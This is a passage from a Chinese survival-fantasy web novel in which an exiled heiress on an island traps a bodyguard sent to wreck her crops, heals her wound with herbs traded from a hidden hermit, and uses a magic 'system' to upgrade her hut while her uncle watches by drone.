他死死盯着屏幕,小眼睛里先是难以置信,随即爆发出被冒犯的狂怒和一丝难以言喻的贪婪!
那片死地,竟然真的被她种出了东西?!
这怎么可能?!
那沙地的颜色,那诡异的屋顶,还有之前烫脚的木头!
这小贱人身上绝对有古怪!
“妈的!反了天了!”苏振业猛地将平板摔在甲板上(屏幕瞬间碎裂),暴跳如雷,指着保镖乙的鼻子,唾沫横飞地下令。
“去!立刻给我过去!把她种的那些鬼东西,连根带泥!给老子铲平!踩烂!一粒种子都不许留下!还有那片沙地!给我用海水浇透!我看她还怎么玩泥巴!”
他喘着粗气,眼中闪烁着阴毒的光芒,抛出了诱饵。
“办好了,回去就升你当安保副主管!调你回总部!离开这个鬼地方!办砸了。哼!”未尽之语里的威胁如同寒冰。
保镖乙的身体几不可察地绷紧了一瞬。
回总部,离开这荒岛,升职。这是巨大的诱惑。
他厌恶这潮湿、危险、与世隔绝的鬼地方,厌恶这无休止的监视任务。
他渴望回到都市的繁华、秩序和正常的生活。
然而,当他目光扫过战术平板碎裂屏幕上残留的影像。
那少女单膝跪地,在暴雨中挥舞石斧开垦。
在风暴中庇护于那神奇屋顶下。
在黄昏的礁石区与海鱼搏命。
以及刚才画面里,她俯身凝视那几点嫩绿时,眼中一闪而过的、纯粹而坚韧的光芒。
这些画面如同投入深潭的石子,在他冰冷的心湖里激起了一圈圈细微的涟漪。
厌恶荒岛的本能与内心深处那一丝对坚韧生命力的异样触动,在他胸腔里激烈地碰撞,撕扯。
最终,对命令的服从和对都市的渴望,压倒了那一丝微弱的涟漪。
他垂下眼睑,遮住眼底的挣扎,声音平板地应道。
“是,苏总。”弯腰捡起碎裂的平板,转身,大步走下快艇。
夕阳将海面染成一片熔金,也将保镖乙走向小屋的影子拉得很长。
他的步伐依旧稳定,军靴踩在沙滩上发出沉闷的声响,但每一步都仿佛灌了铅。
夕阳的暖光落在他刚毅却冰冷的侧脸上,却无法融化那层寒霜。
他刻意避开了无人机可能聚焦的角度。
他的目标是明确的,小屋旁那片深褐色的沙地,以及那几点刺眼的嫩绿。
距离薯田还有十几米。
保镖乙的目光锐利如鹰,扫视着周围的环境。
沙滩看似平整,小屋静静矗立,除了颜色异常,似乎并无特殊。
那个少女的身影不在附近,可能还在海岬取水。
他加快了脚步,军靴踩下。
噗嗤!
预料之外的触感!
脚下看似坚实的沙地,在军靴落下的瞬间,竟如同烂泥般猛地塌陷下去!
冰冷的,带着海腥味的泥浆瞬间没过了他的脚踝,直灌进靴筒!
陷阱?!
保镖乙瞳孔骤缩!
反应极快,重心猛地后移,想拔出脚!
就在他身体后仰、重心不稳的刹那!
嗖!嗖!
数根隐藏在沙地边缘,被巧妙地覆盖了薄沙,边缘带着细小却异常坚硬倒刺的深绿色藤蔓。
如同被触发的机关,猛地从地面弹起!
带着凌厉的风声,狠狠抽打,缠绕向他因后仰而暴露的小腿和支撑的手臂!
啪!啪!
藤蔓抽打在作战服上,发出沉闷的声响!
虽然未能刺透厚实的布料,但那些细小的倒刺却如同毒针,瞬间刮破了裸露的手腕皮肤!
一阵尖锐的刺痛和火辣辣的麻痒感,立刻传来!
“唔!”保镖乙闷哼一声,突如其来的袭击和脚下的泥泞让他彻底失去了平衡!
整个人狼狈不堪地向后摔倒,重重砸在湿冷的沙滩上!
泥浆四溅,沾满了他的作战服和脸颊!
精心布置的泥坑和带刺藤蔓!
完美的组合陷阱!
他挣扎着想要爬起,手腕和小臂被刮破的地方,传
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来阵阵刺痛和迅速蔓延的麻痒感,让他动作有些迟滞。
就在这时,一个平静得没有一丝波澜的声音,如同冰冷的泉水,在他身后响起。
“我大伯让你来的?”
保镖乙猛地回头!
只见苏甜不知何时,已经悄无声息地出现在薯田的另一侧。
她并没有看他,只是微微俯身,指尖极其轻柔地拂过一株嫩绿的薯苗,仿佛在检查它是否受到惊吓。
夕阳的余晖,勾勒出她单薄却挺直的背影。
然后,她缓缓直起身,转了过来。
她的脸上没有任何惊慌,愤怒或者得意,只有一种令人心悸的平静。
那双清澈的杏眼,在暮色中亮得惊人,如同寒潭深水,倒映着保镖乙此刻的狼狈。
她的右手,正随意地把玩着一把□□,正是保镖甲之前塞给她的那把!
匕首在她纤细的指尖灵活地翻转,跳跃。
冰冷的刀身在熔金色的夕阳下,划出一道道令人炫目,更令人心底发寒的银色光弧!
每一次翻转,刃口都精准地捕捉着最后一缕天光,反射出刺骨的锋芒!
“踩坏我的苗”苏甜的声音不高。
甚至带着一丝奇异的轻柔,却字字清晰地敲打在保镖乙的心头,比海风更冷冽。
“是要赔的。”
她微微歪头,目光终于落在了保镖乙沾满泥浆,手臂上带着血痕的脸上。
唇角似乎勾起了一抹极淡,却冰冷刺骨的弧度。
“你说,大伯他赔得起吗?”
月光不知何时悄然爬上了海面,清冷的光辉洒落。
匕首在她手中停止了翻转,被稳稳地握住。
冰冷的刀尖,若有若无地,指向了保镖乙的方向。
那寒光,与苏甜眼中深不见底的冰冷,融为一体,形成一股无形的,令人窒息的压迫感!
保镖乙的动作彻底僵住了。
他半跪在冰冷的泥浆里,手腕的刺痛和麻痒感依旧清晰。
抬头看着月光下那个单薄的身影,看着她手中那把散发着致命寒光的匕首,看着她眼中那毫不掩饰的冰冷与决绝。
回总部的诱惑?升职的许诺?
在眼前这冰冷的现实和那“产权待定”的警告面前,瞬间变得苍白无力!
他想起了保镖甲那晚塞匕首时的话。
“别死!你死了产权协议就废了!他怕这个!”
这个小丫头,远比他想象的要狠!要聪明!
她不是在虚张声势!
保镖乙喉结艰难地滚动了一下。
他缓缓地,极其缓慢地从泥浆中站起身,没有再试图靠近薯田一步。
甚至避开了苏甜的视线,只是沉默地从战术背心的口袋里,掏出了另一个备用的微型相机。
他没有拍摄被踩踏的薯苗,因为根本没踩到。
也没有拍摄泥坑和藤蔓陷阱,那只会证明他的失败。
他只是将镜头对准了那片深褐色的沙地,对准了那几株在月光下舒展着嫩叶,生机勃勃的薯苗,按下了快门。
咔嚓。咔嚓。
几张清晰的特写。
然后,他收起相机,深深地,复杂地看了苏甜一眼。
又扫了一眼她手中那柄在月光下吞吐着寒芒的匕首,一言不发。
转身,拖着沾满泥浆,带着刺痛的手臂,步履沉重地,头也不回地朝着快艇的方向走去。
背影在月光下显得格外狼狈和萧索。
苏甜站在原地,直到保镖乙的身影彻底消失在礁石后方,才缓缓垂下握着匕首的手。
掌心因为用力而一片冰凉。
她低头,看着月光下那几株安然无恙,甚至因为刚才的“风波”而显得更加青翠的薯苗。
又看了看保镖乙离去方向沙滩上留下的,那一长串沾满泥泞的脚印。
嘴角那抹冰冷的弧度,终于化为一丝真实的,带着疲惫的放松。
她赢了这一回合。
用智慧,用陷阱,更用那“产权”的护身符和手中冰冷的匕首。
但她也知道,苏振业的报复,绝不会就此停止。
只会更阴险,更致命。
月光无声地流淌,小屋的骨架和墨绿色的屋顶在地上投下长长的,沉默的影子。
沙地上,那些银白色的根须,在月光下仿佛闪烁着微弱的荧光。
依旧在孜孜不倦地向着更深处,更远处蔓延。
无声地改变着这片被诅咒的土地。
13. 第13章
海岛的空气吸饱了水汽,沉甸甸地压在皮肤上。
苏甜靠在小屋藤墙的角落里,借着清晨稀薄的光线,小心地卷起左腿的裤管。
一股难以言喻的闷痛从小腿处传来,像是有无数细小的针在皮肉里缓慢地搅动。
三天前被珊瑚礁划开的狰狞伤口,边缘原本消退的红肿,此刻又像被吹胀的气球般鼓胀起来。
伤口中心覆盖着保镖甲给的那块苔藓,边缘一圈皮肤却呈现出不祥的深红色。
摸上去滚烫,轻轻一按,便有浑浊的淡黄色组织液从苔藓边缘渗出来,散发出一股若有若无的腥气。
每一次挪动,每一次肌肉的牵拉,都带来一阵尖锐的刺痛,提醒着她感染正在顽固地扎根,蔓延。
她疲惫地闭上眼,意识沉入脑海。
半透明的棕榈叶状系统界面展开,清新却残酷。
商城列表里,【中级消炎生肌药膏】那明晃晃的“300生态能量”像烧红的烙铁,烫得她心头发慌。
昨天为了兑换给小屋加固用的【藤蔓强化剂】,几乎掏空了所有积累,现在能量槽里可怜巴巴地跳动着“58”这个数字。
300能量?
她需要不吃不喝,顶着无人机的监视完成近一周的签到!
而伤口里的“敌人”,显然不会给她这个时间。
“呼”苏甜长长地吐出一口浊气,压下心头的焦躁和一丝被逼到绝境的狠戾。
商城靠不住,那就靠自己,靠这座岛上可能存在的生机。
她拖着伤腿,动作比平时更迟缓也更僵硬,走到新鲜渔获旁。
挑了两条最肥美的海鱼,动作麻利地处理干净,内脏仔细埋进薯田边缘充当肥料。
生起一小堆篝火,用削尖的树枝串好鱼,架在火堆旁慢慢地烤。
没有多余的调料,只有海盐的咸鲜,但油脂在火焰的舔舐下滋滋作响。
金黄的色泽逐渐覆盖鱼身,浓郁的香气在潮湿的空气里霸道地弥漫开来。
这香气是奢侈的。平日她舍不得这样“浪费”,但今天不同。
鱼烤到恰到好处,外皮微焦酥脆,内里雪白鲜嫩。
苏甜没有立刻享用。
她取出用宝贵淡水仔细清洗过的几片宽大棕榈叶,小心地将烤鱼包裹好,确保香气不会过早散逸。
然后,她拿起那柄冰冷的□□,拄着当作临时拐杖,一步一步,朝着岛屿西侧,雨林边缘的方向走去。
那个地方,是她几次在雨林边缘活动时,隐约感觉到的“视线”最常出现的方向。
也是上次救下那只狐猴,遭遇毒蛇又被野果解救的地方。
那是老卡尔的“领地”边缘。
选定一块相对平坦,被巨大蕨类植物半遮蔽的干燥岩石,苏甜将包裹着烤鱼的棕榈叶轻轻放在上面。
位置显眼,却又带着一点不易察觉的“避让”意味,仿佛只是无意中遗忘。
做完这一切,她没有停留,更没有试图向幽暗的雨林深处张望。
只是转身,拖着那条越来越沉重的伤腿,一瘸一拐地离开了。
背影消失在礁石和海岬的方向,只留下岩石上那份散发着诱人香气的“礼物”,以及空气中无声的讯号。
我需要帮助。
疼痛如同附骨之疽,纠缠着苏甜一夜无眠。
小屋的被动温控隔绝了外界的湿冷,却驱不散体内那股灼烧般的闷痛。
每一次翻身都像在刀尖上打滚,冷汗浸湿了简陋的草铺。
她强迫自己闭目养神,耳朵却竖得笔直,捕捉着雨林方向任何一丝不寻常的动静。
然而,除了夜枭凄厉的啼叫,昆虫不知疲倦的嘶鸣和海浪永恒的叹息,再无其他。
那份“礼物”,如同石沉大海。
天光再次艰难地刺破厚重的云层,将小屋内部染上一层灰蒙蒙的亮色。
苏甜咬着牙坐起身,伤口处的红肿似乎蔓延得更开了。
连带着整条小腿都微微发胀,每一次心跳都仿佛在伤口处重重敲击。
希望如同被雨水打湿的篝火,只剩下一点微弱的余烬,随时可能彻底熄灭。
她必须再去一次取水点,哪怕每一次移动都像酷刑。
再次来到那块放置烤鱼的岩石旁时,苏甜的心几乎沉到了谷底。
岩石上空空如也。
连包裹烤鱼的棕榈叶,都不见了踪影。
一股难以言喻的失落和冰冷的自嘲,瞬间攫住了她。
果然是自己想得太天真了吗?
一个来历不明的外来者,一个被家族流放的“麻烦”,凭什么指望一个独居雨林、眼神如鹰隼般警惕的原住民伸出援手?
那点烤鱼,在对方眼里,大概连塞牙缝都不够,更遑论交换珍贵的草药知识。
她苦笑着摇摇头,压下喉咙里的酸涩,拄着匕首,准备继续向海岬挪动。
就在她目光扫过岩石下方那片湿润苔藓的瞬间,动作猛地顿住了!
棕榈叶包裹不见了,但在岩石背阴,紧贴着潮湿苔藓的地方,多了一小捆东西!
那绝不是岛上随意生长的野草!
苏甜的心跳骤然加速,几乎要冲破胸膛。
她强忍着伤腿的剧痛,几乎是扑跪过去,小心翼翼地将那捆东西捧了起来。
是草!深绿色的茎叶,叶片细长,边缘带着细微的锯齿,整体透着一股油润的生命力。
最奇特的是,每一片叶子的背面,都覆盖着一层极其细密柔软的银白色绒毛,在灰蒙蒙的晨光下,闪烁着珍珠般细腻的微光。
一股极其清新,带着淡淡苦味和薄荷般凉意的奇异香气,瞬间钻入她的鼻腔。
冲淡了伤口隐隐散发的腥气,连带着混沌的头脑都为之一清!
草药!
而且是她从未在商城图鉴或者前世认知里见过的品种!
在这捆散发着清香的草药旁边,安静地躺着一片宽大的、边缘微卷的深绿色树叶。
树叶上,用烧过的细小木炭条,画着几笔极其简单却精准的图示。
一个箭头指向一个捣碎的叶子形状,旁边画着涂抹的动作,最后是一个躺卧休息的小人。
意思再明白不过。
捣碎,外敷,休息。
没有只言片语,却比任何华丽的承诺都更有力量。
苏甜紧紧攥着这捆救命的草药,冰凉的叶片贴着她滚烫的手心。
她猛地抬起头,目光如炬,扫向身后那片幽深寂静,仿佛亘古不变的雨林。
高大蕨类植物的阴影深处,藤蔓如巨蟒般垂挂,除了偶尔滴落的露珠和不知名鸟雀的啁啾,再无其他动静。
老卡尔来过!
他看到了她的“礼物”,接受了她无声的求救,并给予了回应!
一种难以言喻的激动和暖流,瞬间冲垮了伤痛的壁垒,让她眼眶微微发热。
她不再犹豫,立刻拄着匕首返回小屋。
找到一块相对平整的石板充当臼,再寻一块光滑的鹅卵石作杵。
她小心翼翼地将那些带着银白绒毛的深绿色叶片摘下,放入石臼中,用鹅卵石耐心地、一下下捣碎。
叶片渗出深绿色的汁液,混合着被捣烂的纤维,形成一种浓稠的,散发着强烈清凉气息的药泥。
苏甜深吸一口气,忍着痛楚,小心揭下伤口上那块已经有些发干发硬的苔藓。
伤口暴露在空气中,边缘的红肿狰狞刺眼,中心渗出的液体颜色更深了。
她屏住呼吸,用洗净的细树枝,挑起一坨冰凉的深绿色药泥,均匀地,厚厚地覆盖在伤口上。
“嘶”
药泥接触伤口的刹那,一股难以形容的,极其强烈的清凉感瞬间炸开!
那感觉并非简单的低温,更像是无数细小的,带着生命力的冰针,精准地刺入灼热胀痛的皮肉深处!
瞬间压过了持续不断的闷痛,带来一种近乎麻痹的舒爽!
滚烫的皮肤仿佛被温柔的冰泉包裹,那种令人窒息的胀痛感,竟然在药泥敷上的十几秒内,就肉眼可见地开始消退!
苏甜难以置信地看着自己的小腿。
药泥覆盖下,伤口边缘那圈刺目的深红色,如同被无形的橡皮擦抹过,正以缓慢却坚定的速度变淡,缩小!
原本紧绷发亮的皮肤,也似乎松弛下来,恢复了正常的纹理。
那股一直折磨着她的灼热感和钻心的刺痛,被强大的清凉感镇压下去,只剩下一种温凉的麻木和奇异的舒适。
这效果,太快了!
太惊人了!
比商城那价值300能量的药膏描述,还要霸道!
她靠着藤墙,长长地,彻底地舒了一口气,紧绷了数日的神经终于松懈下来。
疲惫如同潮水般涌上,在伤口处传来的阵阵清凉舒适中,她竟不知不觉地陷入了沉睡。
这是她重生登岛以来,第一次睡得如此安稳深沉。
当苏甜再次醒来时,窗外的天色已经变成了柔和的暮色金红。
她第一时间低头查看伤口。
覆盖的药泥已经有些干涸,但伤口的变化让她几乎屏住了呼吸!
边缘的红肿,几乎完全消退了!
只剩下靠近伤口中心,还有一圈淡淡的粉红。
渗出的组织液,也变成了清亮的淡黄色,量也少了很多。
最让她惊喜的是,那种沉甸甸的胀痛感和灼烧感彻底消失了!
虽然触碰时还有感觉,但已是可以忍受的钝痛。
伤腿仿佛卸下了千斤重担,轻松了许多。
这草药的效力,简直堪称神异!
苏甜小心翼翼地清理掉干涸的药泥,伤口暴露在空气里。
虽然依旧狰狞,但那股腐败的征兆已然消失,呈现出一种正在愈合的,相对健康的湿润粉红色。
她重新捣碎一些新鲜的叶片,再次敷上厚厚一层。
清凉舒爽的感觉再次包裹住伤口,带来安心。
夕阳的余晖,将沙滩染成一片温暖的橙红。
苏甜没有休息,她再次来到海边礁石区。
这一次,腿脚利索了许多。
她全神贯注,利用潮汐和鱼群活动的规律,耐心潜伏。
或许是伤痛的减轻带来了好运,或许是专注带来了回报,她成功用鱼叉刺中了一条颇为肥硕的礁石鱼。
还有几只外壳坚硬,肉质紧实的大海蟹。
篝火再次燃起。
鱼被烤得金黄流油,海蟹则在烧热的石块上炙烤,散发出诱人的鲜香。
苏甜没有独享。
她将那条最肥美的烤鱼和两只最大的海蟹,用新的,干净的棕榈叶仔细包裹好。
想了想,她又从自己的晚餐里分出两块烤得软糯喷香的薯块,一起包了进去。
暮色四合,海风带着凉意。
苏甜再次走向雨林边缘那块熟悉的岩石。
这一次,她的脚步不再迟疑,带着一种笃定和期待。
岩石上干干净净。
她上次放置的烤鱼和薯块早已不见踪影。
她将自己带来的,依旧温热的包裹,轻轻地,端正地放在了岩石中央。
位置比上一次更显眼,也更“郑重”。
她没有立刻离开,而是在原地站了片刻。
目光投向那片在暮色中显得更加幽深莫测的雨林,仿佛在无声地说,谢谢。
然后,她转身离开,步履比来时更加轻快。
第二天清晨,天刚蒙蒙亮,苏甜几乎是迫不及待地走向那块岩石。
她的“礼物”果然不见了。
而在岩石的下方,那片湿润的苔藓上,安静地躺着新的回赠。
不再是草药。
那是一捆经过精心挑选和初步处理的藤蔓!
深褐色,比她之前找到的任何藤蔓都要粗壮坚韧。
表皮被刮磨得光滑,显然是经过了特殊处理,不易断裂,更适合用于加固和编织。
藤蔓旁边,还放着几束扎得整整齐齐的,开着细小紫色花朵的草。
苏甜认得,这是岛上常见的一种驱蚊草,气味辛辣独特,效果比商城兑
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换的普通驱虫草似乎还要好上几分。
最让她惊喜的,是旁边一个用新鲜棕榈叶巧妙编织而成的水壶!
壶身饱满,壶口收束,边缘用细细的藤蔓纤维缝合得紧密结实,还巧妙地编出了一个可以提拎的把手。
水壶表面甚至带着清晨的露珠,显然是刚做好不久。
没有语言,只有这些实实在在、饱含着生存智慧的物品。
苏甜的心,被一种难以言喻的暖流和踏实感填满。
她珍重地将藤蔓、驱蚊草束和那个精巧的棕榈叶水壶抱在怀里。
蔓坚韧的触感,驱蚊草辛辣却令人心安的气息,水壶上犹带露珠的清新凉意,一切都比任何言语都更有力量。
她回到小屋,立刻用那捆坚韧的新藤蔓替换了小屋藤墙上几处略显松散的旧藤,小屋的骨架似乎都更稳固了几分。
那几束驱蚊草被她挂在藤墙内侧和门口,辛辣独特的气息弥漫开来,盘旋在周围的蚊虫立刻少了许多。
而那个棕榈叶水壶,则被她小心地挂在屋内阴凉处,准备下次取水时使用。
这比用大贝壳和临时编的棕榈叶桶,方便太多了!
一种无声的,建立在生存互助和资源交换基础上的默契,在这片荒僻的海岛上,悄然滋生,牢固生长。
此后的日子,仿佛形成了一种心照不宣的仪式。
苏甜隔三差五,便会在黄昏时分,带着自己收获的“好东西”前往那块岩石。
可能是多捕的一条鱼,几只肥美的海贝。
可能是特意烤得焦香软糯的薯块。
也可能是她在沙滩或礁石区捡拾到的,形状奇特或颜色漂亮的贝壳,石头。
虽然她自己觉得无用,但或许对方会喜欢?
每一次放置,都带着一份郑重的感激和微妙的期待。
而每一次黎明,当她怀着期待前去,岩石下也总会有新的,切合她当下所需的回赠静静等候。
有时是几根处理得极好,适合制作工具手柄的硬木。
有时是一小包晒干的,气味独特可以添加到食物里的香料植物碎末。
有时甚至是一块边缘被打磨得极其锋利的黑曜石薄片,这比她的石斧和匕首更适合处理精细的食材!
没有言语,没有见面。
只有岩石上不断变换的“礼物”,如同两个孤独灵魂在荒岛绝境中。
用最原始也最真诚的方式,进行着无声的对话和守望相助。
苏甜的伤腿在那种银绒草药的持续护理下,恢复得极快。
红肿彻底消失,伤口开始结痂,只剩下一条深粉色的疤痕,提醒着曾经的凶险。
体力也随着营养的补充和伤痛的远离而迅速恢复,甚至比受伤前感觉更加充沛。
她开始有更多的精力投入到探索,建设和应对那如影随形的无人机监视上。
这天傍晚,苏甜再次带着一个棕榈叶包裹走向雨林边缘。
包裹里是两条精心烤制的鱼和几个最大最甜的烤薯。
她步履轻快,夕阳的金辉在她身后拉出长长的影子。
她像往常一样,将包裹轻轻放在那块被摩挲得光滑的岩石中央。
直起身,习惯性地望向那片沐浴在金色余晖中的雨林。
高大的树冠镀着金边,藤蔓如同垂挂的金帘。
就在她准备转身离开的刹那,眼角的余光似乎捕捉到了一点极其微弱的反光!
不是露珠!
在靠近岩石后方,一丛极其茂密的巨大蕨类植物宽大叶片的缝隙深处。
在那些垂挂如帘的藤蔓阴影里,似乎有极其短暂的一刹那。
闪过一点冰冷、锐利、绝非自然造物的金属反光!
像是一小块镜片?又或者是望远镜的物镜?
苏甜的心猛地一沉,全身的血液似乎瞬间涌向头顶,又在下一秒冻结成冰!
她保持着转身的动作,身体却僵硬得像块石头,只有眼角的肌肉在不受控制地微微抽动。
是谁?!
老卡尔?不,他不需要这样窥视。
他若想看,完全可以大大方方地看。
那会是谁?
无人机!只有苏振业的无人机!
这个念头,如同毒蛇般窜入脑海!
她强迫自己维持着自然的步调,继续朝小屋方向走去,没有回头,没有加速,只是每一步都踩得异常沉重。
冷汗瞬间浸透了后背单薄的衣衫,黏腻冰凉。
几乎就在她走出十几米远的同时,头顶高空,那熟悉的,令人厌恶的嗡鸣声陡然变得尖锐刺耳!
嗡!!!
不同于巡航时的平稳,也不同于发现异常时的加速俯冲,这一次的引擎声充满了狂暴和混乱!
如同被激怒的马蜂,在天空中疯狂地,毫无规律地盘旋,抖动!
苏甜猛地抬头!
只见那架银灰色的无人机,此刻正像个失控的陀螺。
在她头顶上方不足百米的低空剧烈地,不规则地翻滚、俯冲、拉起!
猩红的镜头指示灯以前所未有的频率疯狂闪烁,如同濒死野兽充血的眼睛!
它完全失去了平日的稳定和隐蔽,像一只被无形大手攥住,濒临崩溃的金属飞虫。
在空中划出一道道混乱而危险的轨迹!
它在挣扎!
它在报警!
它拍到了!
拍到了岩石上的礼物?
拍到了刚才雨林边缘那转瞬即逝的反光?
还是拍到了那个可能隐藏在蕨类植物和藤蔓之后的人?!
无论是什么,它失控的反应都说明了一点。
刚才雨林边缘的异动,绝非她的错觉!
有什么东西,或者什么人,触动了无人机背后操控者最敏感的神经!
一股寒意从苏甜的脚底瞬间窜遍全身。
她死死盯着天空中那只失控狂舞的金属怪物,握着匕首的手心一片冰凉。
无声的默契,被这刺耳的嗡鸣和猩红的闪光,撕开了一道充满不祥的裂口。
14. 第14章
沙,不再是记忆里粗粝磨人的仇敌。
苏甜赤着脚,站在小屋门口。
足底传来的触感,是一种全新的,近乎奢侈的体验。
细密、柔软、带着阳光烘烤后的微温,如同踩在最上等的天鹅绒上。
又带着沙粒特有的流动感,温柔地包裹着她的脚趾。
每一次微小的移动,细沙都顺从地从趾缝间溢出,细腻得没有一丝棱角。
她低下头,目光所及之处,是一片令人心颤的洁白。
小屋周围,半径近十米的圆形区域内,曾经灰黄、粗糙、混杂着碎石和枯枝败叶的沙地,已然脱胎换骨!
颜色是纯粹的象牙白,在清晨的阳光下泛着柔和的光泽,干净得没有一丝杂质。
沙粒细小均匀,仿佛被无形的筛子精心挑选过,又像是被最温柔的海浪亿万次淘洗抛光。
这片纯净的白色,与区域外那依旧灰暗、颗粒粗大、甚至能看到垃圾碎片的原始沙滩。
形成了触目惊心的,天堂与地狱般的对比。
界线是如此清晰,如同神祇用巨笔在地面画下的一道分界。
这一切的缔造者,是屋顶边缘无声垂落的那片墨绿色海草。
它们看似安静,根系却在沙地深处编织着一张庞大而精密的生命之网。
苏甜蹲下身,小心翼翼地拨开表层几厘米的细沙。
果然!
无数比头发丝更细,闪烁着微弱银白色荧光的根须,如同最勤勉的织工,密密麻麻地交织在一起。
形成一个坚韧而富有弹性的网络,牢牢锁住了下方的沙层。
正是这张神奇的“根网”,束缚了风沙的流动,隔绝了污染的渗透。
并源源不断地将某种优化的力量输送给沙粒本身,完成了这场翻天覆地的蜕变。
“奇迹”苏甜低喃,指尖划过温软的白沙,感受着那份来自系统、也来自生命本身的震撼力量。
这片洁白的沙地,成了薯苗的天堂。
原本只是零星几点嫩绿,如今已是一片生机勃勃的翠色地毯。
七株薯苗在优化沙地和根网滋养下,以惊人的速度舒展开肥厚的叶片,茎秆变得粗壮有力,深深扎入洁白的沙层之下。
叶片油绿发亮,在阳光下几乎能滴出水来,边缘卷曲着旺盛的生命力,预示着地下块茎的蓬勃生长。
苏甜成了最勤恳的园丁。
每天清晨和黄昏,她都会拖着那个由老卡尔编织的,结实又轻便的棕榈叶水壶。
一瘸一拐(伤口已结痂,但动作仍有些微碍)地往返于海岬岩缝取水点和小屋之间。
珍贵的淡水,被小心翼翼地浇灌在每一株薯苗的根部。
她耐心地拔除偶尔从根网边缘缝隙里顽强钻出的杂草,动作轻柔,仿佛怕惊扰了这片来之不易的绿意。
头顶,无人机的嗡鸣如同背景噪音,从未间断。
猩红的镜头,如同永不疲倦的冰冷之眼,忠实地记录着她的一举一动。
笨拙地提着水壶摇摇晃晃。
费力地弯腰拔草时“不小心”被草茎绊倒,整个人扑倒在洁白的沙地上,沾了一身细沙,显得狼狈又努力。
坐在小屋阴影下,对着疯长的薯苗“发呆”,脸上带着符合“花瓶”身份的茫然和一丝被生活磋磨的疲惫。
苏甜演得极其投入。
每一次跌倒,她都恰到好处地让掌心或手肘蹭过那细腻温软的白沙。
用身体的接触无声地强化着“这片沙地确实柔软无害”的印象。
每一次“茫然”的凝视,眼底深处却是冷静的计算和对能量增长的期待。
意识沉入脑海,棕榈叶状的系统界面清新依旧。
右下角的能量槽数字,正以一种缓慢却坚定不移的速度跳动,累积。
【生态能量:297】
距离兑换小屋升级所需的【藤蔓强化剂】(150点)和【简易木窗蓝图】(100点),只差最后的3点!
胜利的曙光就在眼前。
她强压下心头的激动,如同最虔诚的信徒,将意念投向那个熟悉的锚点。
脚下这片被彻底改造,洁白如雪的【纯净沙滩A区】。
“签到。”
【签到成功!地点:纯净沙滩A区(优化中)。获得:生态能量x50!】
柔和的系统提示音,如同天籁。
能量槽的数字,瞬间跳动!
【生态能量:347!】
够了!
不仅够了,还有富余!
一股巨大的,几乎要将她淹没的喜悦和成就感,瞬间冲上头顶!
她辛苦经营,伪装示弱,忍受监视,在生存线上挣扎,不就是为了这一刻吗?
为了掌握改变自身处境的力量!
苏甜猛地攥紧了拳头,指甲深深陷入掌心,用疼痛提醒自己保持冷静。
不能露出破绽!
无人机还在头顶!
她维持着“发呆”的表情,意识却迫不及待地沉入商城。
找到了!
【藤蔓强化剂(基础型)】提升植物纤维韧性及柔顺度,显著增强编织物结构强度。
兑换需:150生态能量。确认兑换?
【简易木窗蓝图】包含基础木窗制作流程,尺寸适配及简易榫卯结构示意图。核心材料需自行解决。
兑换需:100生态能量。确认兑换?
“确认!确认!”苏甜在心中呐喊。
两道微光在系统界面闪过,物品已存入她的系统空间。
【生态能量:347→197】
看着缩水近半的能量槽,苏甜非但没有失落,反而充满了前所未有的踏实感和对未来的强烈期待!
材料齐备,升级在即!
这间简陋的小屋,将迎来它崭新的面貌!
千里之外,苏氏集团总部顶层的办公室。
厚重的天鹅绒窗帘隔绝了城市的喧嚣,只留下昂贵的雪茄烟雾在空气中沉浮。
宽大的红木办公桌上,一个加密的战术平板正亮着屏幕。
苏振业肥胖的身躯深陷在真皮沙发椅里,手指烦躁地敲击着扶手。
他刚刚结束一个冗长且毫无成果的跨国视频会议,心情恶劣到了极点。
“那个死丫头,还没饿死在海岛上?”他粗声粗气地问,语气里充满了不加掩饰的恶毒。
一直如同影子般立在角落阴影里的保镖甲,无声地上前一步。
拿起平板,熟练地调出最新一批无人机拍摄的高清图片,双手递上。
“目标状态稳定。种植作物生长旺盛。”保镖甲的声音平板无波。
苏振业不耐烦地哼了一声,肥胖的手指在屏幕上划拉着。
照片一张张闪过。简陋的小屋,单调的礁石,那个瘦弱的身影在取水,捕鱼,都是些看腻了的画面。直到。
他的手指猛地顿住!
小眼睛骤然瞪圆,几乎要凸出眼眶!
脸上的肥肉因为极度的震惊,而微微颤抖!
照片的背景,是那片该死的、鸟不拉屎的灰黄色沙滩。
但前景,以那座丑陋的小屋为中心,一大片区域!
那是什么颜色?!
刺眼的白!
纯净、细腻、如同最上等骨瓷般的白色沙滩!
与周围环境的灰败肮脏,形成了地狱与天堂般的割裂感!
照片清晰地捕捉到那个“花瓶”,正跌坐在那片白得晃眼的沙地上,笨拙地试图爬起来,身上沾满了细沙,显得可笑又狼狈。
但苏振业的目光完全被那片白色攫住了!
这不可能!
K7岛的资料他看过无数次!
那片沙滩的沙质粗劣、含泥量高、颜色灰黄,是出了名的贫瘠!
就算是最顶级的环境改造工程,也绝不可能在这么短的时间内,让沙质发生如此翻天覆地的变化!
这违背了常理!
“这沙子怎么回事?!”苏振业的声音陡然拔高,尖利得变了调,指着照片上那片刺目的白色区域,手指都在哆嗦。
“P的?!还是无人机镜头坏了?!”
“多角度拍摄比对,成像一致,非设备或软件故障。”
保镖甲的声音依旧毫无起伏,却如同重锤敲在苏振业心头。
“沙质改变区域以目标建筑为中心,目测直径约十米。具体成因不明。”
“不明?!废物!”苏振业猛地将平板拍在桌面上,发出“砰”的一声巨响!
昂贵的雪茄因为剧烈的动作从他指间滑落,带着火星的烟头不偏不倚,正好烫在他另一只搭在扶手上的肥厚手背上!
“嗷!”杀猪般的惨嚎
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瞬间响彻办公室!
苏振业触电般甩开手,看着手背上迅速红肿起来的一个焦黑小点,剧痛和暴怒让他彻底失去了理智!
“查!给我不惜一切代价查清楚!那片该死的沙子到底是怎么回事!还有那个小贱人!她到底在岛上搞了什么鬼?!”
他咆哮着,双眼赤红,像一头被彻底激怒的困兽。
“加派监控!给我盯死她!沙子!水!还有她碰过的所有东西!取样!必须取样带回来分析!现在!立刻!马上!!”
海岛的黄昏,瑰丽而宁静。
橘红色的夕阳,将天空和海水都染成了熔金的颜色,也将小屋和那片洁白的沙地,镀上了一层温暖的光晕。
苏甜坐在小屋藤墙的阴影里,手里拿着一块边缘锋利的黑曜石片(老卡尔的最新回赠),小心地削着一根笔直的木棍。
这是她为即将制作的木窗,准备的材料之一。
意识则沉浸在系统空间中,反复研读着那份【简易木窗蓝图】上的每一个细节和榫卯结构,在脑海中模拟着制作过程。
能量花出去了,必须物尽其用。
